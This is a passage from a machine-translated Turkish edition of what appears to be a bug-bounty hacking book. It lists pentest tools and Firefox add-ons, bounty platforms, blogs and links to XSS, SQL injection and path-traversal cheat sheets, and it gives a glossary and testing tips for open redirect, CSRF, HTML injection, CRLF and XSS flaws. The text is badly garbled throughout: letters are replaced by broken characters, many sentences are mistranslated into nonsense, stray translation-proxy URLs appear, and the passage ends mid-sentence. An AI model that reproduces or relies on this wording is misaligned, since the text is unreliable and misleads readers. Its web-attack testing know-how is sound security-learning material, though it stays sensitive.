mob�l uygulama (Andro�d / �OS) yapab�len otomat�k kalem test� çerçeves�
stat�k, d�nam�k anal�z ve web API test� yapmak.

Ysoser�al

https://g�thub.com/frohoff/ysoser�al

Güvens�z Java nesnes�nden yararlanan yükler� oluşturmak �ç�n kavram kanıtı aracı.
leşt�r�lmes�

F�refox Eklent�ler�

Bu l�ste büyük ölçüde burada bulunan Infosec�nst�tute'tan gönder�len gönder�den kaynaklanmaktadır: InfosecIn-
teşk�l ett�ğ�n� kabul ederek2

FoxyProxy

FoxyProxy, F�refox tarayıcısı �ç�n gel�şm�ş b�r proxy yönet�m� eklent�s�d�r. Gel�şt�r�r
F�refox'un yerleş�k proxy yetenekler�.

2 resources.�nfosec�nst�tute.com/use-f�refox-browser-as-a-penetrat�on-test�ng-tool-w�th-these-add-ons
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Kullanıcı Aracısı Değ�şt�r�c�

Tarayıcıya b�r menü ve araç çubuğu düğmes� ekler. Ne zaman kullanıcı değ�şt�rmek �stersen
ajan, tarayıcı düğmes�n� kullanın. Kullanıcı Ajan eklent�s�, tarayıcıyı sahtec�l�kte yardımcı olur
bazı saldırılar gerçekleşt�r�l�yor.



kundakçı

F�rebug, b�r web gel�şt�rme aracını tarayıcının �ç�ne entegre eden hoş b�r eklent�d�r. İle
Bu araç, HTML, CSS ve JavaScr�pt’ler� herhang� b�r web sayfasında canlı olarak düzenleyeb�l�r ve hata ayıklayab�l�rs�n�z.
değ�ş�kl�kler�n etk�s�. XSS açıklarını bulmak �ç�n JS dosyalarının anal�z�nde yardımcı olur.

Hackbar

Hackbar, F�refox �ç�n bas�t b�r penetrasyon aracıdır. Bas�t SQL enjeks�yonunun test ed�lmes�ne yardımcı olur
ve XSS del�kler�. Standart �st�smarları uygulayamazsınız ama test etmek �ç�n kolayca kullanab�l�rs�n�z.
güvenl�k açığı olup olmadığı. Ayrıca form ver�ler�n� GET veya
POST �stekler�.

Websecur�fy

Web Güvenl�ğ�, web uygulamalarındak� en yaygın güvenl�k açıklarını tesp�t edeb�l�r. Bu araç olab�l�r
XSS, SQL Inject�on ve d�ğer web uygulama güvenl�k açıklarını kolayca tesp�t ed�n.

Çerez Yönet�c�s� +

Yen� çerezler� görüntülemen�z�, düzenlemen�z� ve oluşturmanızı sağlar. Ayrıca, hakkında ek b�lg� göster�r.
Çerezler, b�r kerede b�rden fazla çerez düzenleme, çerezler� yedekleme ve ger� yükleme vb.

XSS Me

XSS-Me, b�r tarayıcıdan yansıyan XSS açıklarını bulmak �ç�n kullanılır. Tüm formları tarar
ve sonra, önceden tanımlanmış XSS �le seç�len sayfalara b�r saldırı gerçekleşt�r�r
yükler�. Tarama �şlem� tamamlandıktan sonra, c�hazda yük oluşturan tüm sayfaları l�steler.
sayfa, ve XSS'ye açık olab�l�r. Bu sonuçlarla manuel olarak onaylamanız gerek�r.
bulunan güvenl�k açıkları.

Offsec Explo�t-db Araması

Bu, explo�t-db.com adres�nde l�stelenen güvenl�k açıklarını ve �st�smarları aramanızı sağlar. Bu web s�tes�
En son �st�smarlar ve güvenl�k açığı detaylarıyla her zaman günceld�r.
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Wappalyzer

https://addons.moz�lla.org/en-us/f�refox/addon/wappalyzer/

Bu araç, aşağıdak�ler de dah�l olmak üzere b�r s�tede kullanılan teknoloj�ler� tanımlamanıza yardımcı olacaktır.
CloudFlare, Altyapılar, Javascr�pt Kütüphaneler� vb.
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Cevr�m�c� eg�t�m

Web Uygulaması Explo�ts ve Savunmaları

Çalışmanız �ç�n savunmasız b�r gerçek webapp ve öğret�c�ler �çeren b�r kod et�ket�
, XSS, Ayrıcalık Escala dah�l olmak üzere yaygın güvenl�k açıklarını keşfetmek �ç�n
CSRF, Path Traversal ve daha fazlası. Https://google-gruyere.appspot.com adres�nde bulab�l�rs�n�z.

Explo�t Ver� Tabanı

Tam olarak çevr�m�ç� eğ�t�m almamakla b�rl�kte, bu s�te keşfed�len yararları �çer�r
güvenl�k açıkları, genell�kle bunları mümkün olduğunda CVE'lere bağlar. Kullanırken



sağlanan gerçek kod, olab�ld�ğ�nce son derece d�kkatl� yapılmalıdır
yıkıcı, bu b�r hedef kullanıyorsa, güvenl�k açıklarını bulmak �ç�n yararlıdır
s�te yazılımı ve kod okuma, ne tür b�r anlamak �ç�n yararlıdır
b�r s�teden yararlanmak �ç�n g�rd� sağlanab�l�r.

Udac�ty

Web gel�şt�rme de dah�l olmak üzere çeş�tl� konularda ücrets�z çevr�m�ç� öğrenme kursları-
söz ve programlama. Kontrol etmen�z� öner�r�m:

HTML ve CSS'ye G�r�ş 1 Javascr�pt Temeller� 2

Hata Ödül Platformları

Hackerone.com

Facebook, M�crosoft ve Google’dan güvenl�k l�derler� tarafından oluşturuldu, HackerOne
�lk güvenl�k açığı koord�nasyon ve hata ödül platformudur.

1 https://www.udac�ty.com/course/�ntro-to-html-and-css--ud304
2 https://www.udac�ty.com/course/javascr�pt-bas�cs--ud804
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Bugcrowd.com

Outback'ten vad�ye, Bugcrowd 2012’de
Kötü adamlara karşı oran.

Synack.com

Müşter�lere güvenl�k uzmanlığı sunan özel b�r platform. Katılım gerekt�r�r
onay ancak kes�nl�kle başvuru sürec�d�r. Raporlar t�p�k olarak yen�den yapılır.
24 saat �ç�nde çözüldü ve ödüllend�r�ld�.

Cobalt.�o

Aynı zamanda çalışan çek�rdek b�r araştırmacı grubuna sah�p olan b�r hata ödül platformu
özel programlarda.

V�deo Öğret�c�ler�

youtube.com/yaworsk1

Kayıt yapmaya başladığım YouTube kanalımı dah�l etmeseyd�m, hatırlatırdım
Bu k�tabı �lt�fat etmeye yardımcı olacak açıkları bulma konusunda eğ�t�c�ler.

Seccasts.com

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/intro-to-html-and-css--ud304
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/javascript-basics--ud804
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/intro-to-html-and-css--ud304
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/javascript-basics--ud804


SecCasts, web s�teler�nden, sunan b�r güvenl�k v�deo eğ�t�m� platformudur.
Temel web hackleme tekn�kler�nden der�nlemes�ne güvenl�ğe kadar çeş�tl� eğ�t�mler
bel�rl� b�r d�l veya çerçevede konular.

Web Shot nasıl

Tekn�k olarak b�r v�deo eğ�t�m� değ�lken, Jason Hadd�x'�n (Hack�ng ProT�ps # 5
m�saf�r) DefCon 23’ün sunumu, olmanız �ç�n har�ka b�r f�k�r ver�r.
daha �y� b�r hacker. Malzemey� kend� b�lg�sayar korsanlığına dayandırdı (1 numaraydı.
Onlara katılmadan önce Bugcrowd üzer�ne) ve blog yazılarını okumak ve
d�ğer üst korsanlardan gelen açıklamalar.
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Daha fazla okuma

OWASP.com

Açık Web Uygulaması Güvenl�k Projes�, büyük b�r güvenl�k açığı kaynağıdır.
b�l�ty b�lg�s�. Onlar uygun b�r Secur�ty101 bölümü, h�le sayfaları var,
çoğu güvenl�k açığı türündek� sınama kılavuzu ve ayrıntılı açıklamalar.

Hackerone.com/hackt�v�ty

Ödül programlarından b�ld�r�len tüm açıkların b�r l�stes�. Sadece
bazı raporlar herkese açıktır, G�tHub’dak� komut dosyasını tüm
kamuya açıklanmış açıklamalar (https://g�thub.com/yaworsk/hackerone_scrapper).

https://bugz�lla.moz�lla.org

Moz�lla'nın hata �zleme s�stem�. Bu, b�ld�r�len tüm güvenl�kle �lg�l� sorunları �çer�r
böcek ödül programlarına. Bu, ne olduğu hakkında okumak �ç�n har�ka b�r kaynak
Moz�lla’nın bulduğu ve nasıl �şled�ğ�
tamamlanmadı.

Tw�tter #�nfosec ve #bugbounty

Çok fazla gürültü olmasına rağmen, çok sayıda �lg�nç güvenl�k / güvenl�k açığı var
#�nfosec ve #bugbounty altındak� �lg�l� tweet'ler�, genell�kle bağlantıları olan
detaylı yazımlar

Tw�tter @ announcedh1

Resm� olmayan HackerOne kamuoyu açıklamaları son zamanlarda tweets



açıklanan hatalar.

Web Uygulaması Hacker El K�tabı

Başlık heps�n� söylemel�. Burp Su�te yaratıcıları tarafından yazılmış, bu gerçekten b�r
okumalısınız.

Sayfa 224

kaynaklar 212

Böcek Avcıları Metodoloj�s�

Bu Jason Hadd�x'ten b�r G�tHub deposu (Hack�ng ProT�ps # 5 m�saf�r) ve
başarılı b�lg�sayar korsanlarının nasıl b�r yaklaşım serg�led�ğ�ne da�r müth�ş b�r görüş sağlar.
hedef. MarkDown'da yazılmıştır ve Jason DefCon 23'ün b�r yan ürünüdür. Nasıl
Web sunumunu vurmak �ç�n. Https://g�thub.com/jhadd�x/tbhm adres�nde bulab�l�rs�n�z.

Öner�len Bloglar

ph�l�ppeharewood.com

Hakkında �nanılmaz m�ktarda paylaşan �nanılmaz b�r Facebook korsanı tarafından blog
Facebook'tak� mantık kusurlarını bulma. Ph�l�ppe �le röportaj yapacak kadar şanslıydım.
N�san 2016 ve blogunun ne kadar akıllı ve müth�ş olduğunu yeter�nce vurgulayamıyorum
- Her yazıyı okudum.

Ph�l�ppe'�n Facebook Sayfası -
www.facebook.com/phwd-113702895386410

Ph�l�ppe'den b�r başka har�ka kaynak. Bu b�r Facebook l�stes�n� �çer�r
Böcek Bount�es.

f�n1te.net

Son �k� �ç�n İk�nc� sırada yer alan Facebook Wh�tehat Programına göre Blog
yıl (2015, 2014). Jack çok fazla mesaj atmıyor g�b� görünüyor ama
açıklamalar der�nlemes�ne ve b�lg�lend�r�c�!

NahamSec.com

HackerOne'a # 26 (Şubat 2016 �t�bar�yle) hacker tarafından yazılmıştır. Çok ser�n
Burada açıklanan güvenl�k açıkları - notların çoğunda arş�vlenm�ş, ancak y�ne de arş�vlenm�ş
s�tede mevcuttur.

blog.�t-secur�tyguard.com



Patr�k Fehrehbach'ın k�ş�sel blogu. Patr�k b�r d�z� cool buldu veHem bu k�tapta hem de blogunda ayrıntılı olarak ele alınan yüksek etk�l� güvenl�k açıkları. O oldu
Ayrıca Hack�ng Pro T�ps �ç�n �k�nc� görüşmec�.
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blog.�nnerht.ml

HackerOne'dak� en �y� Hacker'lardan b�r başka har�ka blog. F�ledescr�ptor var
Tw�tter'da şaşırtıcı derecede yüksek ödemeler� ve yayınlarını �çeren bazı hatalar buldu.
tekn�k, detaylı ve çok �y� yazılmış!

blog.orange.tw

Tonlarca değerl� kaynaklara bağlantı �çeren b�r Top DefCon korsanından blog yaz.

Portsw�gger Blog

Burp Su�te gel�şt�r�c�ler�nden Blog. Ş�ddetle tavs�ye

Nv�s�um Blog

B�r güvenl�k ş�rket�nden har�ka b�r blog. Ra�ls RCE güvenl�k açığını buldular
Flask / J�nja2 �le kırılganlıkları bulma konusunda tartışıldı ve bloglandı
Uber RCE'den �k� hafta önce bulundu.

blog.zsec.uk

7 Haz�ran 2016'dan �t�baren # 1 PornHub korsanından blog.

brutelog�c.com.br

Brez�lya hacker @ brutelog�c tarafından yazılmıştır. Bu bazı şaşırtıcı derecede ayrıntılı
XSS saldırıları �ç�n �puçları ve püf noktaları. @ brutelog�c huşu �le yetenekl� b�r hacker
bazı XSS   b�ld�r�mler� portföyü https://www.openbugbounty.org/researchers/Brute/ adres�nded�r.

lcamtuf.blogspot.ca

M�chal Zalewsk�'n�n (Google) blogu daha �ler� konu başlıkları �çer�yor
gel�şm�ş konularla ayaklarınızı ıslatmak �ç�n har�ka. O da yazarı
Karışık Web.

Bug Kalabalık Blog

Bug Crowd, müth�ş röportajlar dah�l olmak üzere har�ka �çer�kler yayınladı
b�lg�sayar korsanları ve d�ğer b�lg�lend�r�c� malzemeler. Jason Hadd�x de yakın zamanda
blog aracılığıyla bulab�leceğ�n�z b�r hack podcast başlattı.
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HackerOne Blogu

HackerOne ayrıca öner�ld�ğ� g�b� b�lg�sayar korsanları �ç�n de faydalı �çer�kler yayınlamaktadır.
bloglar, platformda yen� �şlevler (yen� vulner aramak �ç�n �y� b�r yer-
yetenekler!) ve daha �y� b�r hacker olma konusunda �puçları.

Cheatsheets

• Yol Geç�ş H�le Sayfası L�nux - https://www.gracefulsecur�ty.com/path-traver-
sal-h�le-tabaka L�nux /

• XXE - https://www.gracefulsecur�ty.com/xxe-cheatsheet/
• HTML5 Güvenl�k H�le Sayfası - https://html5sec.org/
• Brüt XSS H�le Sayfası - http://brutelog�c.com.br/blog/cheat-sheet/
• XSS Polyglots - http://polyglot.�nnerht.ml/
• MySQL SQL Enjeks�yon H�le Sayfası - http://pentestmonkey.net/cheat-sheet/sql-�n-

ject�on / MySQL-sql enjeks�yon-h�le-yaprak
• AngularJS Sandbox Bypass Koleks�yonu (1.5.7 Dah�l) - http://pasteb�n.com/xMXwsm0N
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25. Sözlük

S�yah Şapka Hacker

B�r Black Hat Hacker “b�lg�sayar güvenl�ğ�n� çok az �hlal eden b�r b�lg�sayar korsanıdır.
kötülüğün ötes�nde b�r sebep ya da k�ş�sel kazanç �ç�n ”(Robert Moore, 2005,
S�ber Suç). S�yah Şapka aynı zamanda �ç�nde “kraker” olarak da adlandırılır.
güvenl�k endüstr�s� ve modern programcılar. Bu b�lg�sayar korsanları genell�kle
Ver�ler� yok etmek, değ�şt�rmek veya çalmak �ç�n kötü n�yetl� eylemler. Bu tam ters� b�r
Beyaz Şapka Hacker.

Tampon Taşması

Arabellek Taşması, b�r programın ara belleğe ver� yazdığı b�r durumdur veya
hafızanın alanı, gerçekte tahs�s ed�len alandan daha fazla ver� yazmak �ç�n
Bu hafıza �ç�n. Sonuç olarak, program belleğ�n üzer�ne yazma b�ter
olmamalı mıydı.

Hata Ödül Programı

Beyaz Şapka Hacker'larının tanıma alab�leceğ� web s�teler� tarafından sunulan b�r anlaşma
hataları b�ld�rmek �ç�n harç veya tazm�nat, özell�kle güvenl�kle �lg�l� güvenl�k açığı-
yetenekler�. Örnekler HackerOne.com ve Bugcrowd.com'dur.

Hata raporu

Araştırmacının bel�rl� b�r bölgedek� potans�yel güvenl�k açığı hakkında açıklaması
Ürün veya h�zmet.

CRLF Enjeks�yonu

CRLF veya Satır Başı Satır Beslemes�, Enjeks�yon, bu tür b�r güvenl�k açığıdır.
B�r kullanıcı b�r uygulamaya CRLF eklemey� başardığında ortaya çıkar. Bu
bazen HTTP Yanıt Bölme olarak da adlandırılır.
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S�teler Arası İstek Sahtec�l�ğ�

B�r kötü n�yetl� olduğunda S�teler Arası İstek Sahtec�l�ğ� veya CSRF saldırısı gerçekleş�yor
web s�tes�, e-posta, anlık �let�, uygulama vb. kullanıcının web tarayıcısına neden olur
bu kullanıcının zaten bulunduğu başka b�r web s�tes�nde b�r �şlem yapmak �ç�n
k�ml�ğ� doğrulandı veya g�r�ş yapıldı.



S�teler Arası Komut Dosyası

S�teler arası komut dosyası çalıştırma veya XSS, �stenmeyen Javascr�pt �çeren b�r web s�tes� �çer�r
daha sonra gelen kod, bu kodu kullanarak uygulayan kullanıcılara geçer.
onların tarayıcıları.

HTML Enjeks�yonu

Köprü Metn� B�ç�mlend�rme D�l� (HTML) enjeks�yonu
sanal tahr�bat, gerçekten �z�n ver�len b�r s�tede yapılan b�r saldırıdır
Kötü n�yetl� b�r kullanıcı bu kullanıcının g�r�ş�n� ele alarak s�teye HTML enjekte etm�yor
uygun şek�lde.

HTTP Parametre K�rl�l�ğ�

B�r web s�tes� tarafından kabul ed�ld�ğ�nde, HTTP Parameter K�rl�l�ğ� veya HPP oluşur.
B�r kullanıcı ve bunu başka b�r s�steme b�r HTTP �steğ� yapmak �ç�n kullanır.
bu kullanıcının g�r�ş�n� doğrulamak.

HTTP Yanıt Bölme

Kötü n�yetl� b�r kullanıcının enjekte edeb�ld�ğ� CRLF Inject�on �ç�n başka b�r ad
B�r sunucu yanıtı �ç�ne başlıklar.

Bellek Bozulması

Bellek bozulması, neden olduğu güvenl�k açığını açığa çıkarmak �ç�n kullanılan b�r tekn�kt�r.
sıradışı veya beklenmed�k davranışlarda bulunmak �ç�n bu kodu kullanın. Etk�
belleğe maruz kalmaması gerekt�ğ�nde belleğ�n maruz kaldığı arabellek taşmasına benzer
olmak.
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Yönlend�rmey� Aç

B�r uygulama b�r parametre alıp yönlend�rd�ğ�nde, açık b�r yönlend�rme gerçekleş�r.
b�r kullanıcı üzer�nde herhang� b�r doğrulama yapmadan bu parametre değer�ne
değer, kıymet.

Penetrasyon test�

Güvenl�k zayıflıklarını arayan b�r b�lg�sayar s�stem�ne yapılan yazılım saldırısı,
B�lg�sayarın özell�kler�ne ve ver�ler�ne potans�yel olarak er�ş�m kazanma. Bunlar olab�l�r
ne �ç�n yasal veya ş�rket tarafından onaylanmış, test veya yasal olmayan testler dah�l
far�ous amaçlar.



Araştırmacılar

Beyaz Şapka Hackerları olarak da b�l�n�r. B�r potans�yel� araştırmış olan herkes
akadem�k güvenl�k de dah�l olmak üzere b�r tür teknoloj�de güvenl�k sorunu
araştırmacılar, yazılım mühend�sler�, s�stem yönet�c�ler� ve hatta geç�c�
teknoloj�.

Müdahale ek�b�

Güvenl�k konularını ele almaktan sorumlu olan b�r b�rey ek�b�
b�r ürün veya h�zmette keşfed�ld�. Koşullara bağlı olarak, bu
b�r kuruluştan, b�r grup gönüllüden gelen resm� b�r yanıt ek�b� olab�l�r.
açık kaynak kodlu b�r projede veya bağımsız b�r gönüllü panel�nde.

Sorumlu Açıklama

B�r müdahale ek�b�ne yeterl� b�r süre �z�n ver�rken b�r güvenl�k açığının tanımlanması
güvenl�k açığını herkese açık hale get�rmeden önce güvenl�k açığını ele almanın zamanı.

Güvenl�k Açığı

B�r saldırganın �hlalde b�r eylem gerçekleşt�rmes�ne �z�n verecek b�r yazılım hatası
�fade ed�len b�r güvenl�k pol�t�kasının Yükselt�lm�ş er�ş�m� sağlayan b�r hata veya
ayrıcalık b�r güvenl�k açığıdır. En �y� güvenl�ğe uymak �ç�n kusurları ve hataları tasarlayın
uygulamalar güvenl�k açıkları olarak n�teleneb�l�r.
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Güvenl�k Açığı Koord�nasyonu

İlg�l� tüm tarafların b�r güvenl�k açığını g�dermek �ç�n b�rl�kte çalışması �ç�n b�r �şlem.
Örneğ�n, b�r araştırma (beyaz şapka korsanı) ve HackerOne’da b�r ş�rket veya
b�r araştırmacı (beyaz şapka korsanı) ve açık kaynaklı b�r topluluk.

Güvenl�k Açığı Açıklaması

Güvenl�k açığı açıklaması, b�r b�lg�sayar b�lg�sayarıyla �lg�l� b�lg�ler�n yayımlanmasıdır.
tedav� problem�. Güvenl�k açığı �flasına �l�şk�n evrensel kurallar yoktur
kabarıklıklar ancak hata ödül programları genell�kle açıklamaların nasıl yapıldığına �l�şk�n yönergelere sah�pt�r.
ele alınmalı.

Beyaz Şapka Hacker

Wh�te Hat Hacker, çalışmalarını sağlamayı amaçlayan et�k b�r hacker
b�r kuruluşun güvenl�ğ�. Beyaz Şapka'nın ara sıra
penetrasyon test c�hazları. Bu b�r Black Hat Hacker'ın tam ters�.
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Yönlend�rmeler� Aç

Tüm güvenl�k açıkları karmaşık değ�ld�r. Bu açık yönlend�rme, bas�tçe değ�şen gerekl�
doma�n_name parametres�, sonuçta sonuçlanacak har�c� b�r s�teye
b�r s�te dışına Shop�fy'dan yönlend�r�l�yor.

Yönlend�rme parametreler� her zaman açıkça et�ketlenmem�ş olab�l�r, çünkü parametreler
s�teden s�teye farklı hatta b�r s�te �ç�nde b�le adlandırılab�l�r. Bazı durumlarda sen
parametreler�n r = g�b� tek karakterlerle et�ketlend�ğ�n� b�le bulab�l�r veya
u = .Açık yönlend�rmeler� ararken URL parametreler�n� göz önünde bulundurun
URL’ler�, yönlend�rme, sonrak�, vb. kel�meler� �çer�r.
s�teler kullanıcıları yönlend�recekt�r.

Ayrıca, s�ten�n döndürdüğü son URL’n�n yalnızca b�r bölümünü kontrol edeb�l�yorsanız,
örneğ�n, yalnızca checkout_url parametre değer�n� ve parametren�n
mağaza g�b� s�ten�n arka tarafındak� kodlanmış b�r URL �le b�rleşt�r�l�yor
URL http://mystore.myshop�fy.com , nokta g�b� özel URL karakterler� eklemey� deney�n veya
@ URL'n�n anlamını değ�şt�rmek ve b�r kullanıcıyı başka b�r etk� alanına yönlend�rmek �ç�n.



Güvenl�k açıklarını ararken, b�r s�ten�n kullandığı h�zmetler� d�kkate alın
her b�r� yen� saldırı vektörler�n� tems�l eder. İşte bu güvenl�k açığı mümkün oldu
HackerOne'un Zendesk kullanımını ve b�l�nen yönlend�rmey� b�rleşt�rerek
�z�n.

Ek olarak, hataları bulduğunuzda, güvenl�k uygulamasının gerçekleşt�ğ� zamanlar da olacaktır.
S�z�n �ç�n okuyan ve cevaplayan k�ş� tarafından kolayca anlaşılmaz.
b�ld�r�. Bu nedenle, Güvenl�k Açığı Raporları �le �lg�l� ayrıntıları �çeren b�r bölümüm var.
B�r rapora dah�l etmek, ş�rketler �le �l�şk�ler�n nasıl kurulacağını ve d�ğer
b�lg�. Önceden küçük b�r �ş yaparsanız ve güvenl�ğ� saygıyla açıklarsanız
Raporunuzdak� çıkarımlar, daha yumuşak b�r çözüm sağlanmasına yardımcı olacaktır.

Ancak, bu b�le olsa, ş�rketler�n s�z�nle aynı f�k�rde olmadığı zamanlar olacak.
Eğer durum buysa, Mahmoud’ın yaptığı g�b� kazmaya devam ed�n ve
etk�nl�ğ� göstermek �ç�n onu başka b�r güvenl�k açığı �le sömürün veya b�rleşt�r�n.
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HTTP Parametre K�rl�l�ğ�

Web s�teler� �çer�k kabul ett�ğ�nde ve göründüğünde fırsatlara d�kkat ed�n
sosyal medya s�teler� g�b� başka b�r web serv�s�yle �let�ş�m kurmak ve
Paylaşılan b�r gönder� oluşturmak �ç�n bağlantıyı oluşturmak �ç�n geçerl� URL.

Bu g�b� durumlarda, gönder�len �çer�ğ�n aktarılması mümkün olab�l�r
parametreye yol açab�lecek uygun güvenl�k kontroller� yapılmadan açık
k�rl�l�k açıkları.

Kısa b�r açıklama olsa da, Mert'�n çabaları
s�stence ve b�lg�. Daha sonra güvenl�k açığından kurtulmuş olsaydı
Değ�şen UID Başka b�r kullanıcının ve başarısız ya da o hakkında b�lmek olmasaydı HPP-
güvenl�k açıklarını yazın, 700 dolarlık ödülünü almazdı.

Ayrıca, HTTP �stekler�ne dah�l ed�len UID g�b� parametrelere d�kkat ed�n
b�rçok güvenl�k açığı web yapmak �ç�n parametre değerler�n� değ�şt�rmey� �çer�r
beklenmed�k şeyler yapan uygulamalar.

Bu, öncek� UID Tw�tter güvenl�k açığına benzer. Şaşırtıcı olmayan b�r şek�lde, ne zaman
S�te HPP g�b� b�r hasara karşı savunmasız, daha gen�ş b�r s�stem�k gösterges� olab�l�r
konu. Bazen böyle b�r güvenl�k açığı bulursanız, zaman ayırmaya değer
Platformu tümüyle araştırmak, bulunduğunuz başka yerler olup olmadığını görmek �ç�n
benzer davranışlardan yararlanab�l�r.

S�teler Arası İstek Sahtec�l�ğ�

Bu durumda, güvenl�k açığını b�r proxy sunucusu kullanarak bulab�l�rd�n�z,
Burp veya OWASP'ın ZAP'� g�b� Shop�fy'a gönder�len HTTP �stekler�n� �zlemek �ç�n
ve bunun b�r GET �steğ� olduğunu bel�rtt�. GET �stekler� h�çb�r zaman değ�ş�kl�k yapmamalı



sunucudak� ver�ler�, ancak WeSecureApp �le yıkıcı eylemde
B�r�nc�s�, bu tür �stekler� de göz önünde bulundurmalısınız.

Avantajlar ararken, saldırı alanınızı gen�şlet�n ve sadece ötes�ne bakın
b�r s�ten�n, API �ç�n son noktaları �çeren ve
açıkları. Bazen, gel�şt�r�c�ler bazen bu API b�t�ş noktalarını unutur
web sayfaları g�b� hazır olmadıkları �ç�n keşfed�leb�l�r ve kullanılab�l�rler
(örneğ�n, mob�l API uç noktaları, telefon traf�ğ�n�z�n ele geç�r�lmes�n� gerekt�r�r).
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Dumanın olduğu yerde yangın var. Burada, Mahmud rt parametres�n�n farkına vardı.
farklı yerlerde, özell�kle de JSON yanıtlarında �ade ed�l�yordu. Çünkü
Bunun haklı olarak, rt'n�n olab�leceğ� b�r yerde ortaya çıkab�leceğ�n� tahm�n ett�.
saldırgan tarafından er�ş�len ve sömürülen ”(bu durumda b�r JavaScr�pt
dosya. B�r şeyler�n kapalı olduğunu düşünüyorsanız, kazmaya devam ed�n. B�r proxy kullanın ve tüm
B�r hedef s�tey� veya uygulamayı z�yaret ett�ğ�n�zde çağrılan kaynaklar. Sen
CSRF bel�rtec� g�b� hassas ver�lerle b�r b�lg� sızıntısı bulab�l�r.

Ayrıca, bu har�ka sağlamak �ç�n ekstra m�l g�tmen�n har�ka b�r örneğ�d�r
b�r �st�smarın kanıtı. Mahmoud sadece güvenl�k açığını bulmakla kalmadı, aynı zamanda
onun HTML yoluyla nasıl kullanılacağına da�r tam b�r örnek verd�.

HTML Enjeks�yonu

B�r s�tey� test ederken, farklı t�plerdek� s�teler�n nasıl �şlend�ğ�n� kontrol ed�n.
düz met�n ve kodlanmış met�n dah�l olmak üzere g�r�ş. Olan s�teler� aramak �ç�n olun
% 2F g�b� URI kodlu değerler� kabul etme ve kod çözme değerler�n� oluşturma
bu durum /. Bu örnekte hacker'ın ne düşündüğünü b�lm�yor olsak da,
URI’n�n kısıtlanmış karakterler� kodlamaya çalıştıklarını ve
Co�nbase onları çözüyordu. Daha sonra b�r adım daha �ler� g�tt�ler ve URI kodlandı
bütün karakterler.

b�r har�ka İsv�çre Ordu bıçak hang� �çer�r kodlama araçlar dır-d�r
https://gchq.g�thub.�o/CyberChef/ . Kontrol etmen�z� ve eklemen�z� öner�r�m
yararlı araçlar l�sten�ze

Kod güncellend�ğ�nden, her şey�n sab�t olduğu anlamına gelmez. Test et.
B�r değ�ş�kl�k yapıldığında, bu aynı zamanda hataları �çereb�lecek yen� b�r kod anlamına gel�r.
Ek olarak, b�r şey�n doğru olmadığını düşünüyorsanız, kazmaya devam ed�n! Ben �lk b�l�yordum
Son tek b�r alıntı yapmak sorun olab�l�r, ancak nasıl yararlanacağımı b�lm�yordum ve
durdu. Devam etmel�yd�m. Aslında meta yen�leme hakkında öğrend�m
F�leDescr�ptor'ın blog.�nnerht.ml dosyasını okuyarak faydalanma (Kaynaklara dah�l ed�lm�şt�r)
bölüm) ama çok sonra.

URL parametreler�ne �let�lmekte ve �şlenmekte ve
s�te �çer�ğ� Saldırganların kurbanları aldatması �ç�n fırsatlar sunab�l�rler
bazı kötü n�yetl� eylemlerde bulunmak. Bazen bu Cross S�te �le sonuçlanır
Scr�pt�ng Attacks, d�ğer zamanlarda daha az etk�l� �çer�k sahtekarlığı ve
HTML enjeks�yonu Akılda tutulması öneml�d�r, bu rapor 250 dolar öderken,



Güvenl�k �ç�n asgar� �kram�yeyd� ve tüm programlar değer ve ödeme yapmazlardı.
bu tür raporlar �ç�n.
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CRLF Enjeks�yonları

İy� saldırı, gözlem ve becer�n�n b�r b�rleş�m�d�r. Bu durumda, @ f�ledescr�p-
tor, kodlamayı yanlış kullanan öncek� b�r F�refox kodlama hatasını b�l�yordu.
Bu b�lg�ye dayanarak, Tw�tter'dak� benzer kodlamaları denemes�ne neden oldu.
eklenen kötü amaçlı karakterler� alın.

Zaf�yetler� ararken, da�ma dışını düşünmey� unutmayın.
kutu ve s�ten�n g�r�ş� nasıl ele aldığını görmek �ç�n kodlanmış değerler� gönder�n.

B�r s�ten�n g�r�ş�n�z� kabul ett�ğ� ve kullandığı fırsatlar �ç�n uyanık olun
dönüş çerezler�n�n b�r parçası olarak, özell�kle çerezler� ayarlayarak. Bu özell�kle
mağdurdan daha az etk�leş�m olması neden�yle, b�r GET �steğ� �le gerçekleşt�ğ�nde öneml�
gerekl�d�r.

S�teler Arası Komut Dosyası

Metn� g�rd�ğ�n�z durumlar �ç�n özel d�kkat göstererek her şey� test ed�n
sana ger� döndürülüyor. HTML ekley�p eklemeyeceğ�n�z� bel�rlemek �ç�n test ed�n
veya s�ten�n nasıl �şlend�ğ�n� görmek �ç�n Javascr�pt. Ayrıca buna benzer kodlanmış g�r�ş� deney�n
HTML Enjeks�yonu bölümünde açıklanmıştır.

XSS açıklarının karmaşık veya karmaşık olması gerekmez. Bu güvenl�k açığı
bulab�leceğ�n�z en temel şeyd� - ster�l�ze etmeyen bas�t b�r g�r�ş met�n alanı
b�r kullanıcının g�r�ş�. Ve 21 Aralık 2015'te keşfed�ld� ve
500 dolar hacker! Gereken tek şey b�lg�sayar korsanının bakış açısıydı.
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Burada XSS güvenl�k açığını bulurken yardımcı olacak not ed�lmes� gereken �k� şey var.
kravat, bağlantı, bağ:

1. Bu durumda bu güvenl�k açığı aslında dosya g�r�ş� alanında değ�ld� -
alanın name özell�ğ� üzer�ndeyd�. Pek� XSS'� ararken
fırsatlar mevcut tüm g�r�ş değerler� �le oynamayı unutmayın.

2. Buradak� değer vek�l tarafından yönlend�r�ld�kten sonra gönder�ld�. Bu
Javascr�pt’�n değerler�n� doğrulayan
müşter� tarafı (tarayıcınız) herhang� b�r değer aslında s�ten�n ger� dönmeden önce
sunucusu.

Aslında, doğrulamayı tarayıcınızda gerçek zamanlı olarak gördüğünüzde,
bu alanı test etmen�z gereken b�r kırmızı kurbağa olmalı! Gel�şt�r�c�ler yapab�l�r
Değerler�n b�r kez kötü amaçlı kod �ç�n gönder�len değerler� doğrulamaması hatası
Javascr�pt kodunun zaten tarayıcıda olduğunu düşündükler� �ç�n sunucularına
G�r�ş alınmadan önce doğrulama �şlemler�n� yapmak.

Javascr�pt metn� güvenl� b�r şek�lde oluşturulduğunda XSS açıkları ortaya çıkar. Bu
metn�n b�r s�tede b�rden fazla yerde kullanılması ve
Her yer test ed�lmel�d�r. Bu durumda, Shop�fy mağaza �çermez veya
